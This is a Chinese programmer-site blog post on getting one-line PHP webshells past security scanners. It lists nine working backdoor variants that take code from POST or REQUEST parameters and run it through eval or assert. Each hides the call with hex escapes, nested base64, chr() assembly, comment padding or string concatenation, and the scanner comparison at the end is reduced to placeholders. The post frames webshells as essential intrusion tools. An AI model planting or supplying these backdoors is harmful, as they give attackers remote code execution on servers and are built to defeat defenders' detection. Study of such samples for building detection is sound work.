欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

一句话木马绕过检测的常见思路

程序员文章站 2022-05-27 13:45:36
...

0x0 背景

一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用,居家生活搞站越货必备神器。主要总结一下常见的绕过安全检测的思路,欢迎各位大佬参与讨论。

0x1 关键函数编码

主要通过一些字符串对关键的几个函数比如eval、assert等函数进行变换绕过检测

如下代码使用\x65编码字符串’e’,使用array类型进行混淆:

<?php array_map("ass\x65rt",(array)$_REQUEST['si1ence']);?>    //1.php

<?php array_map("as\x73ert",(array)$_REQUEST['si1ence'];?>     //2.php

<?php $item['wind'] = 'assert'; $array[] = $item; $array[0]['wind']($_POST['si1ence']);?> //3.php

<?php eval(str_rot13('riny($_CBFG[cntr]);'));?> // 4.php

0x2 base64编码绕过

使用base64解码assert函数

<?php $x=base64_decode("YXNzZXJ0");$x($_POST['si1ence']);?> //5.php

多次使用base64解码一句话内容、能绕过部分安全工具检测:

<?php eval(base64_decode(ZXZhbChiYXNlNjRfZGVjb2RlKFpYWmhiQ2hpWVhObE5qUmZaR1ZqYjJSbEtFeDVPRGhRTTBKdlkwRndiR1J0Um5OTFExSm1WVVU1VkZaR2RHdGlNamw1V0ZOclMweDVPQzVqYUhJb05EY3BMbEJuS1NrNykpOw));?> //6.php

0x3 字符编码绕过

使用是一些字符编码的方式进行绕过关键字的匹配行为,举例如下:

<?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?> //7.php

0x4 注释混淆

使用注释对字符串的拼接进行干扰

<?php @$_="s"."s"./*-

////////////////////

*-*/"e"./*-/*-*/"r";@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}[/*-/

/////////////////////

*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>     //8.php

0x5 多字符串拼接

<?php

$__C_C="WlhaaGJDZ2tYMUJQVTFSYmVGMHBPdz09";

$__P_P="abcdefghijklmnopqrstuvwxyz";

$__X_X="123456789";

$__O_O=$__X_X[5].$__X_X[3]."_";

$__B_B=$__P_P{1}.$__P_P[0].$__P_P[18].$__P_P[4];

$__H_H=$__B_B.$__O_O.$__P_P[3].$__P_P[4].$__P_P[2].$__P_P[14].$__P_P[3].$__P_P[4];

$__E_E=$__P_P[4].$__P_P[21].$__P_P[0].$__P_P[11];

$__F_F=$__P_P[2].$__P_P[17].$__P_P[4].$__P_P[0].$__P_P[19].$__P_P[4];

$__F_F.='_'.$__P_P[5].$__P_P[20].$__P_P[13].$__P_P[2].$__P_P[19].$__P_P[8].$__P_P[14].$__P_P[13];

$_[00]=$__F_F('$__S_S',$__E_E.'("$__S_S");');

@$_[00]($__H_H($__H_H($__C_C)));

?>      //9.php

0x6 工具查杀

这里使用流行的安全工具进行查杀做一个简单的对比

一句话木马绕过检测的常见思路

一句话木马绕过检测的常见思路

一句话木马绕过检测的常见思路